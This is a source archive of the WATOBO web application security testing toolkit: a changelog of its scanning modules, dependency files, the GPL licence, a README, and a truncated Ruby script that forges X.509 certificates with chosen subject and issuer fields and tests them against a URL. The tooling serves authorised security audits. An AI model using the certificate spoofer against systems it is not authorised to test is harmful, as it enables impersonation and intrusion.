pax_global_header00006660000000000000000000000064136634634140014524gustar00rootroot0000000000000052 comment=03e67fe90bd4a4f5e4bdd114718d53a04d1aa2ac watobo-1.0.1/000077500000000000000000000000001366346341400130165ustar00rootroot00000000000000watobo-1.0.1/CHANGELOG.md000077500000000000000000000406111366346341400146340ustar00rootroot00000000000000#Version 0.9.22 ## News **ManualRequestEditor** * added dynamic egress handler support. Useful for more complex request transformations, e.g. if you need a http header with a hmac which is based on the request body **SSL-Checker** * the results can now be saved * bad ciphers will be added to findings ##Fixes **Proxy** * fixed duplicated serial numbers in fake certificates **WShell** * fixed a bug which prevented work on linux boxes * switched command execution to thread via runOnUiThread **Client-Certificates** * settings will be saved and reloaded on project start **Transparent Proxy** * crash fixed **SQLMap Plugin** * fixed load_config error **General** * fixed old yaml style file format after editing comments **Contributions** * Work around error 'FXComposeContext: illegal window parameter' (by Lars Kanis) * Use runOnUiThread for GUI activity while loading plugins in a thread (by Lars Kanis) Version 0.9.21 === News --- **General** * greatly increased speed of session import by using Marshal serialization instead of YAML for storing chats/findings. **NOTE:** older formats will still work but they will be converted to .mrs files. * added scanner setting 'ignore server errors' which (if enabled) will handle 5xx response codes as 'file does not exist'. It overrules custom error filters. * introduced the watobo info page. accessible via http://watobo - where you can download the CA cert as well as some installation information * the 'Define Target Scope' dialog now has a text filter **Plugins** * added Adobe Experience Manager Enumeration, crawls the site by using information of AEM/CQ5 json-Extensions **Fuzzer** * results are now saved in yaml format **Modules** * new CQ5 modules for selectors and extensions detection * new CQ5 module for userenumeration via json and xml extensions **CustomViewer** * updating view after handler is loaded, no more tab/chat switch necessary Fixes --- **General** * changed encoding in conversation table * Response.header_value parsing **Plugins** * [sqlmap] enhanced path detection to also match 'sqlmap' without .py extension **Fuzzer** * multiple fixes in statistics view **ConversationTable** * fixed autoscroll checkbox, no more autoscrolling if unchecked * fixed crash on Goto-Function (shift-g shortcut) Version 0.9.20 === News --- **Export** * added an XML export function available via File->Export **SitesTree** * added findings to sites tree view **Platform** * watobo is running under Ruby 2.0 (2.1 not tested yet) **ForwardingProxy** * introduced per-site proxying **ActiveChecks** * added ShellShock module (Generic->ShellShock) * added Apache MultiViews module **Interceptor** * added TableEditor to request **TableEditor** * added new menu item "to clipboard" which exports the table fields as a CSV (comma seperated values) to the clipboard * column width does not change after refresh **SSL-Checker** * optimized ssl checks - but keep in mind that the number of checked ciphers depends on your ruby version Fixes --- **General** * post parameter values containing equal signs ('=') will no longer be truncated **Transcoder** * now LineFeeds will not be replaced in text-view **HexViewer** * changed font type to courier * fixed crash on invalid UTF-8 sequences * now works in request viewer * shows header & body **ChunkEncoding** * fixed handling of chunk encoded data **NTLM** * fixed ntlm authentication **Crawler** * Fixed status bar infos **CatalogScanner** * if match value contains 3 digits it will be treated as response code (reduces false positives) **CA** * CA serial now starts with current time to avoid serial number conflicts after reinitializing CA **Modules** * fixed cookie access in passive module 'possible_login' * little fix in xxe module * fixed proof pattern for hidden field detection in hidden_fields.rb **Conversation Table** * fixed chat filter, now request and response can be filterd together * new chats run through filter before they are added **GUI** * fixed crash when selecting 'scope only' in sites-tree * fixed transcoder, so all CRLF will be removed before Base64 decoding **Interceptor** * now removes Expect-100-continue headers from client **General** * added json support for table editor (only first level paramaters) * fixed redirect mechanism, now also 301 and 308 codes are supported as well as absolut path locations * now post-parameters with empty names will be handled correctly Version 0.9.19 === Fixes --- **General** * NTLM authentication Version 0.9.18 === Fixes --- **Crawler** * excluded path definitions are now handled correctly **SSLChecker** * unsupported ciphers are now recognized Version 0.9.17 === News --- **General** * changed parameter parsing for better handling * Boolean-SQL check now also takes xml parameters for testing * new appearance of CA certificates * new custom response viewer; now you can code your own handler, e.g. `lambda{ |response| return response.content_type }` * added table view on request viewer **Manual Request Editor** * XML parser, xml-request parameters available in table Fixes --- **General** * request line removed on `remove_header` regex match * double insert of Content-Length header * bad markdown format of CHANGELOG * wrong parameter parsing if value contains '=' sign Version 0.9.16 === Fixes --- **General** * double insert of Content-Length header * bad markdown format of CHANGELOG Version 0.9.15 === Fixes --- **General** * improved socket handling * fixed some UTF-8 issues in passive modules * added application/octet-stream to pass-through content-types * `shapers.rb` didn't replace single quotes in `replace_post_parm` * setting/replacing http-headers is now case-in-sensitive **Passive Modules** * fixed `Disclosure_ipaddr`; now all IPs inside body are reported **Active Modules** * Domino DB enumeration will now run on all requests **Crawler Plugin** * extended allowed/excluded URL checks on full url path /w query News --- * Struts2 module for detecting CVE-2013-2251 * Struts2 module for detecting CVE-2013-1966 * conversation filter; added some shortcuts * conversation table; added `send to->Crawler` * client certificates; added PKCS12 * SAP passive module; extracts SAP headers, e.g. `sap-system` Version 0.9.14 === Fixes --- **Manual Request Editor** * fixed crash when clicking OTT-Settings **Crawler** * watobo stopped working when crawler was started (Linux only) - workaround Version 0.9.13 === News --- **Core** * Faster socket communication!! Now client sockets are reused * Big big changes on core modules, e.g. Watobo::Chats or Watobo::Findings. * PassiveScanner - passive checks now run in background * New DSL-like Plugin Style - digging into Metaprogramming ... check out WShell Plugin! **Modules** * XSS-NG supports "Parameter Prefetching" - using form fields of response as test parameters * Hidden Field Spotter * Improved boolean SQLi detection * added some .NET Checks for well-known files, e.g. Trace.adx and Error Pages /w Stack-Trace * XXE (Xml eXternal Entity) check * Check html password fields for autocomplete attribute **Plugins** * SSL Checker now also shows the tested method (SSLv3, TLS, ..) * WShell - Watobo Shell; With WShell you can execute ruby commands in the context of WATOBO. Very useful for advanced analysis, debugging purposes or simply to explore WATOBO. **GUI** * Parameter names in Table view are now automatically en-/decoded * Right-Click on a plugin to get some information about it - only works on new plugins at the moment ... * Introduced a new chat viewer with HTML highlighting (based on FXScintilla) * ConversationTable: added 'space' hotkey to open "Edit Comment" dialog * ConversationTable: added hotkeys for "goto url" navigation * ChatViewer: xml/html content gets prettyfied for text- and html-viewer * FindingsTree: added counter to finding class * FindingsTree: memorize expanded nodes * Conversation table filter now opens as a dialog and displays more information Fixes --- **Core** * Bug in parsing multipart requests caused by incorrect boundary handling * conversation text filter now works on responses without content-type header **Fuzzer** * fixed generator in fuzzer engine **GUI** * crash after selecting client certs * no more swallowing a space-char at the end of a string when b64decoding with short-cuts **Plugins** * Catalog-Scanner: now all placeholders will be replaced * SSLChecker now supports more methods and ciphers, incl. SSLv2 **Passive Modules** * FormSpotter: now using nokogiri for parsing/extracting
information = Version 0.9.12 == NEW * [Module] Siebel Checks: Enumeration of default apps and files, e.g. base.txt * [Module] PassiveCheck filtering Domino DB names * [GUI] added De-Select-All buttons to scan policy * [GUI] finding details menu available at finding-class level == Fixes * crash when pasting data (Linux) * crash on starting full scan dialog * minor issue when adding a new db-path to catalog scanner plugin = Version 0.9.11 == NEW * [FileFinder] pimped the interface, added save-settings == Fixes * [ConversationTable] Request-/Resoponse View is updated when navigating with arrow-keys * [INTERCEPOR] fixed bug in parsing intercepted responses = Version 0.9.10 == Fixes * fixed sqlmap temp directory = Version 0.9.9 == NEW * [Module] Time-based SQL injection module * [Module] Rated XSS which gives a more accurate exploitability result * [GUI] ConversationTable: values in coloumn Parameters are url-decoded * [Plugin] WebCrawler - based on Mechanize * [GUI] Manual Request Editor: Url is displayed in the window title * [GUI] Menubar items are disabled if no project is defined * [CORE] Create SSL certificates for each target on-the-fly, now you only have to trust the internal CA once * [Interceptor] Rewrite/Inject Feature to Interceptor * [CORE] added .yml file extension for chats, findings, logs, ... * [Plugin] SQLmap - easy to use sqlmap interface * [Interceptor] Transparent Proxy Feature - only available on Linux (depends on netfilter_queue) * [CatalogScanner] added predefined database paths * [CORE] general unzipping and unchunking of server responses == Fixes * CA Directory is now created in WATOBO working directory '.watobo' * Fixed Crash on opening client-certificate dialog * Improved Socket communication * ConversationTable: GET and POST parameters are shown in the parameters coloumn * TreeView-Pane: Show full conversation list when Findings tab is selected * Fixed a bug in parsing post parameters * QuickScan: double scanning each module * the disclaimer.chk file now is written to .watobo * some minor bugs = Version 0.9.8 == NEW * Ruby 1.9 Support - no more 1.8 don't even try it ;) * WATOBO available as a Gem * Reorganisation of WATOBO settings files. * Reorganisation of WATOBO project. * Introduced Framework capabilities * Changed version numbering for Gem compatibility * SSLChecker-Plugin: nicer gui, now you can scan a site which is not already in conversation list * Conversation-Table: better search features, e.g. URL, Request or Response * Chat-Viewer: added a 'save'-button to save the response's body to a file, e.g. save a flash file for further investigations * Scanner: now follows 302-redirects - this option is only available via QuickScan * GUI: purge (multiple) findings is possibel via FindingsTree == Fixes * interceptor reset-button * Constant declarations * lib/mixin/request_parser.rb: fixed file handling * fixed pattern for detecting file upload fields * optimized "tagless" view * optimized lots of threading stuff, e.g. progress bars, log-windows, ... * lib/qGui: changed progress_window = Version 0.9.7 Revision 534 == NEW * MasterPassword for encrypting Proxy- and WWW-Auth-Passwords * Hotkey-Help: Press F1 to view all Hotkeys for the focused widget!!! Works in ManualRequestEditor, Interceptor, ChatViewers * Interceptor: Intercept Filters, Editor, Hotkeys - almost complete rewrite!!! * Passive Module: 'DOM XSS' - checks for javascript code which manipulates DOM and may be misused for XSS * Passive Module: 'Detect One-Time-Tokens' - checks for parameters which may be used to prevent CSRF-Attacks * ManualRequest Following Redirects Automatically (optional) * ManualRequest: Added Hotkeys for 'send' (ctrl-enter) and transcoding ctrl-[shift]-b (base64), ctrl-[shift]-u (url) * ManualRequest: new Transform 'Get -> Post' * TableEditor: Added Hotkeys; ctrl-[shift]-b (base64), ctrl-[shift]-u (url), ctrl-enter (send request) * Passive Module: 'Detect Code' - Now also checks for ASP-Snippets * ConversationTable: added SSL-Icon * TextView: added Match-Navigation for 'Highlight'- and 'Grep'-Filter * One-Time-Token-Dialog: Target chat is also visible for OTT-pattern creation. * WATOBO-Logo: watobo-48x48.png for nice desktop shortcuts/launchers ;) == Fixes * FullScan-Wizzard: Empty Scanlist * Fixed Typo in lib/utils/response_hash.rb (SmartHash) * Manual Request Editor: Add Parameter in TableView * ConversationTable: Fixed Error Cutting Of Last Char On Copy * ConversationTable: Now update 'comment' immediately in table * Required BasicAuth will now be sent to browser * Module SQL_Boolean: Adding a Finding produced an error * FileFinder & CatalogScanner: 'Custom Error Patterns' are recognized * TableEditor: Fixed Parsing Problem - appended parms instead of replacing * Interceptor: Fixed handling of chunk-encoded server responses * SmartHash: Fixed Reduction -> much faster and less false-positives on blindSQLi = Version 0.9.6 Build 271 == Fixes * Scanner: Scanner works without proxy = Version 0.9.6 Build 270 == Fixes * ProxyDialog: AddProxy-Crash * Scanner: No Probe For Target If Proxy Is Set * Session: Fixed NTLM-Authentication = Version 0.9.6 !! NOTE !! Due to the import fix you can't import older WATOBO sessions! == NEW * General: Supports One-Time-Tokens (e.g. Anti-CSRF-Tokens) * General: NTLM Authentication (Server and Proxy) * New Plugin: FileFinder * GUI: switch the icon and text size for lower screen resolution * Manual Request Editor: Table-View for easier parameter manipulation == !!! CONTRIBUTIONS !!! :)) Hans-Martin Muench contributed two active-check modules: * modstatus.rb: * crossdomain.rb: == Minor Changes * slightly improved SQL-Injection (Simple) * now you can hide 404 and 302 in Sites Tree == Fixes * General: Fixed Import Problem ('inspect' data before YAML'izing) * General: Fixed "limitation" of forwarding proxy port length 4 -> 5, wtf??? * General: Fixed EOF handling on socket operation * Catalog Scan: now use forwarding proxy * Interceptor: Fixed Drop and Discard == Minor Fixes * General: switched to unix style line breaks again * got lost somewhere ... * General: fixed path reference for already tested directories in HTTP-Methods and Dir-Walker (reported by Hans-Martin Muench) * General: fixed HashBang line in start_watobo.rb (reported by Achim Hoffmann) * GUI: changed appearance of History * Sites Tree: workaround for FXTreeList.findItem (bug?) * GUI: now counters get reset when new project is started = Version 0.9.5 == New * PassThrough for large responses or special content-types (Interceptor/Proxy) * Introduced Plugins * Introduced Full logging of Scans * Introduced Target-Scope * Introduced Quick-Filter in Sites-Tree-View * Introduced Scope-Filter-Option for conversation table * Introduced Request-Transform (POST->GET) for Manual Requests * New Plugin: Catalog-Scan * New Plugin: SSL-Check == Improvements/Bugfixes * using YAML for saving settings * speedup of session-import * request/response-viewer: auto-reset on grep * fixed hash-calculation for findings in passive checks * fixed autoscroll not disable-able * fixed passive module "cookie-options" * fixed numRequests calculation in FuzzFile-Generator * fixed url-shaping if parameter contains /https?/ * fixed button behaviour @interceptor = Version 0.9.2 * NEW: History navigation (for Manual Requests Editor) * NEW: Fuzzer Engine * NEW: Differ usability improved * NEW: WATOBO now can run on Windows, Linux and MAC * FIX: fixed table-right-click crash * MISC: Redesign of chat-table-menu * MISC: Improved checks for recognizing proxy settings = Version 0.9.1-96 * load fox16 problem fixed - hope not too many user were hit by this! * auto-save of proxy settings * fixed some issues with the fuzzer = Version 0.9.1-95 * fixed hash calculation for better blind-sql checks * added Differ for diffing chats (very nice) * added HexViewer (no editor yet) * open session/project by double clicking * response get cut off after watobo-1.0.1/Gemfile000077500000000000000000000003741366346341400143200ustar00rootroot00000000000000source 'https://rubygems.org' gem 'mechanize', '2.7.5' gem 'fxruby', '1.6.42' gem 'jwt', '1.5.4' gem 'nfqueue', '1.0.4' if RUBY_PLATFORM =~ /linux/ gem 'net-http-pipeline', '1.0.1' if RUBY_PLATFORM =~ /linux/ gem 'selenium-webdriver', '3.0.1' watobo-1.0.1/Gemfile.lock000066400000000000000000000025371366346341400152470ustar00rootroot00000000000000GEM remote: https://rubygems.org/ specs: childprocess (0.9.0) ffi (~> 1.0, >= 1.0.11) domain_name (0.5.20190701) unf (>= 0.0.5, < 1.0.0) ffi (1.12.2) fxruby (1.6.42) mini_portile2 (~> 2.1) http-cookie (1.0.3) domain_name (~> 0.5) jwt (1.5.4) mechanize (2.7.5) domain_name (~> 0.5, >= 0.5.1) http-cookie (~> 1.0) mime-types (>= 1.17.2) net-http-digest_auth (~> 1.1, >= 1.1.1) net-http-persistent (~> 2.5, >= 2.5.2) nokogiri (~> 1.6) ntlm-http (~> 0.1, >= 0.1.1) webrobots (>= 0.0.9, < 0.2) mime-types (3.3.1) mime-types-data (~> 3.2015) mime-types-data (3.2020.0512) mini_portile2 (2.4.0) net-http-digest_auth (1.4.1) net-http-persistent (2.9.4) net-http-pipeline (1.0.1) nfnetlink (1.0.2) ffi nfqueue (1.0.4) ffi nfnetlink nokogiri (1.10.9) mini_portile2 (~> 2.4.0) ntlm-http (0.1.1) rubyzip (1.3.0) selenium-webdriver (3.0.1) childprocess (~> 0.5) rubyzip (~> 1.0) websocket (~> 1.0) unf (0.1.4) unf_ext unf_ext (0.0.7.7) webrobots (0.1.2) websocket (1.2.8) PLATFORMS ruby DEPENDENCIES fxruby (= 1.6.42) jwt (= 1.5.4) mechanize (= 2.7.5) net-http-pipeline (= 1.0.1) nfqueue (= 1.0.4) selenium-webdriver (= 3.0.1) BUNDLED WITH 2.1.4 watobo-1.0.1/LICENSE000066400000000000000000000355021366346341400140300ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. watobo-1.0.1/README.md000066400000000000000000000027241366346341400143020ustar00rootroot00000000000000WATOBO - THE Web Application Toolbox === WATABO is a security tool for testing web applications. It is intended to enable security professionals to perform efficient (semi-automated) web application security audits. Most important features: * WATOBO has Session Management capabilities! You can define login scripts as well as logout signatures. So you don’t have to login manually each time you get logged out. * WATOB can act as a transparent proxy (requires nfqueue) * WATOBO can perform vulnerability checks out of the box * WATOBO can perform checks on functions which are protected by Anti-CSRF-/One-Time-Tokens * WATOBO supports Inline De-/Encoding, so you don’t have to copy strings to a transcoder and back again. Just do it inside the request/response window with a simple mouse click. * WATOBO has smart filter functions, so you can find and navigate to the most interesting parts of the application easily. * WATOBO is written in (FX)Ruby and enables you to easily define your own checks * WATOBO runs on Windows, Linux, MacOS ... every OS supporting (FX)Ruby * WATOBO is free software ( licensed under the GNU General Public License Version 2) * It’s by siberas ;) Documentation --- Check out the online documentation and video tutorials at http://watobo.sourceforge.net Tips & Tricks --- * On Linux you should use RVM to install Ruby (http://beginrescueend.com/rvm/install/) * Use FoxyProxy or SwitchProxy to easily change your proxy settings watobo-1.0.1/TODO.md000066400000000000000000000001741366346341400141070ustar00rootroot00000000000000* change conversation filter, when switching between Findings/Sites/Logs * change font color of active converstation filter watobo-1.0.1/_config.yml000066400000000000000000000000311366346341400151370ustar00rootroot00000000000000theme: jekyll-theme-slatewatobo-1.0.1/bin/000077500000000000000000000000001366346341400135665ustar00rootroot00000000000000watobo-1.0.1/bin/certspoofer.rb000066400000000000000000000133541366346341400164540ustar00rootroot00000000000000#!/usr/bin/ruby if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path end require 'base64' require 'openssl' require 'optimist' require 'pry' require 'net/http' OPTS = Optimist::options do version "#{$0} 1.0 (c) 2020 siberas" opt :cert, " can be Filename or a Base64 String (DER or PEM)", :type => :string opt :subject, "Subject value", :type => :string opt :new, "create new certificate. Subject and Issuer required!" opt :text, "show only the content of a given certificate. Does not create a new one." opt :issuer, "Issuer value", :type => :string opt :key, "private key of original certificate. Needed if you want to make a simple request test.", :type => :string opt :request, "make a test request with the original request and exit - a key is required." # opt :date, "Date of expiration (timestamp value)", :type => :string opt :out, "Filename", :type => :string opt :format, "Output format", :type => :string, :default => 'pem' opt :extensions, "add one or more extensions. name and value seperated by first colon, e.g. basicConstraints:CA:TRUE", :type => :strings, :multi => true opt :days_valid, "Set number of days the certificate is valid in days from now, e.g. 365 for one year", :type => :string opt :url, "URL for testing with the spoofed certificate", :type => :string, :default => '' end new_cert = nil if OPTS[:text] Optimist::die :cert, "cert missing! need a certificate (file or base64 encoded)" unless OPTS[:cert] data = OPTS[:cert] source = 'Base64' if File.exist?(data) source = "FILE" data = File.read(data) else data = Base64.decode64(OPTS[:cert]) end new_cert = OpenSSL::X509::Certificate.new data puts new_cert.to_text exit end if OPTS[:request] Optimist::die :cert, "cert missing! need a certificate (file or base64 encoded)" unless OPTS[:cert] Optimist::die :key, "key file is required for making a request!" unless OPTS[:key] data = OPTS[:cert] source = 'Base64' if File.exist?(data) source = "FILE" data = File.read(data) else data = Base64.decode64(OPTS[:cert]) end client_cert = OpenSSL::X509::Certificate.new data req_opts = { use_ssl: true, verify_mode: OpenSSL::SSL::VERIFY_NONE, cert: client_cert, key: OpenSSL::PKey::RSA.new(File.read(OPTS[:key])) } begin uri = URI.parse(OPTS[:url]) https = Net::HTTP.start(uri.host, uri.port, req_opts) response = https.request Net::HTTP::Get.new uri.path puts '--- R E S P O N S E ---' puts "#{response.code} #{response.msg}" response.each_header do |k,v| puts "#{k}: #{v}" end puts response.body exit rescue => bang puts bang end exit end if OPTS[:new] Optimist::die :subject, "subject missing! need subject and issuer when creating a new certificate" unless OPTS[:subject] Optimist::die :issuer, "issuer missing! need subject and issuer when creating a new certificate" unless OPTS[:issuer] new_cert = OpenSSL::X509::Certificate.new fields = OPTS[:subject].split(/[,\/]/) #binding.pry new_subject = fields.map { |f| n, v = f.split('='); n.nil? ? nil : [n.strip, v.strip] } new_subject.compact! new_cert.subject = OpenSSL::X509::Name.new(new_subject) fields = OPTS[:issuer].split(/[,\/]/) issuer = fields.map { |f| n, v = f.split('='); n.nil? ? nil : [n.strip, v.strip] } issuer.compact! new_cert.issuer = OpenSSL::X509::Name.new(issuer) from = Time.now new_cert.not_before = from new_cert.not_after = from + 365 * 24 * 60 * 60 new_cert.serial = 666 new_cert.version = 2 # X509v3 else Optimist::die :cert, "cert missing! need a certificate (file or base64 encoded)" unless OPTS[:cert] data = OPTS[:cert] source = 'Base64' if File.exist?(data) source = "FILE" data = File.read(data) else data = Base64.decode64(OPTS[:cert]) end new_cert = OpenSSL::X509::Certificate.new data if OPTS[:subject] puts "+ create new certificate from #{source}" puts "+ set new subject" fields = OPTS[:subject].split(/[,\/]/) new_subject = fields.map { |f| n, v = f.split('='); [n.strip, v.strip] } new_cert.subject = OpenSSL::X509::Name.new(new_subject) end end if OPTS[:days_valid] new_cert.not_after = Time.now + OPTS[:days_valid].to_i * 24 * 60 * 60 end ef = OpenSSL::X509::ExtensionFactory.new OPTS[:extensions].each do |ext| begin n, v = ext[0].split(':', 2) puts "Add extension: #{n} - #{v}" if $VERBOSE new_cert.add_extension ef.create_extension(n, v) rescue => bang puts bang binding.pry if $DEBUG exit end end puts '+ create new keypair' keypair = OpenSSL::PKey::RSA.new(2048) puts '+ sign certificate with new keypair' new_cert.public_key = keypair.public_key new_cert.sign keypair, OpenSSL::Digest::SHA256.new outfile = "/tmp/fake_cert_#{Time.now.to_i}.pem" File.open(outfile, 'w') { |fh| fh << new_cert.to_pem } #binding.pry new_cert_b64 = Base64.strict_encode64 new_cert.to_der puts new_cert.to_text puts "DER-Format (Base64):" puts new_cert_b64 puts "+ cert has been written to #{outfile}" unless OPTS[:url].empty? uri = URI.parse(OPTS[:url]) puts 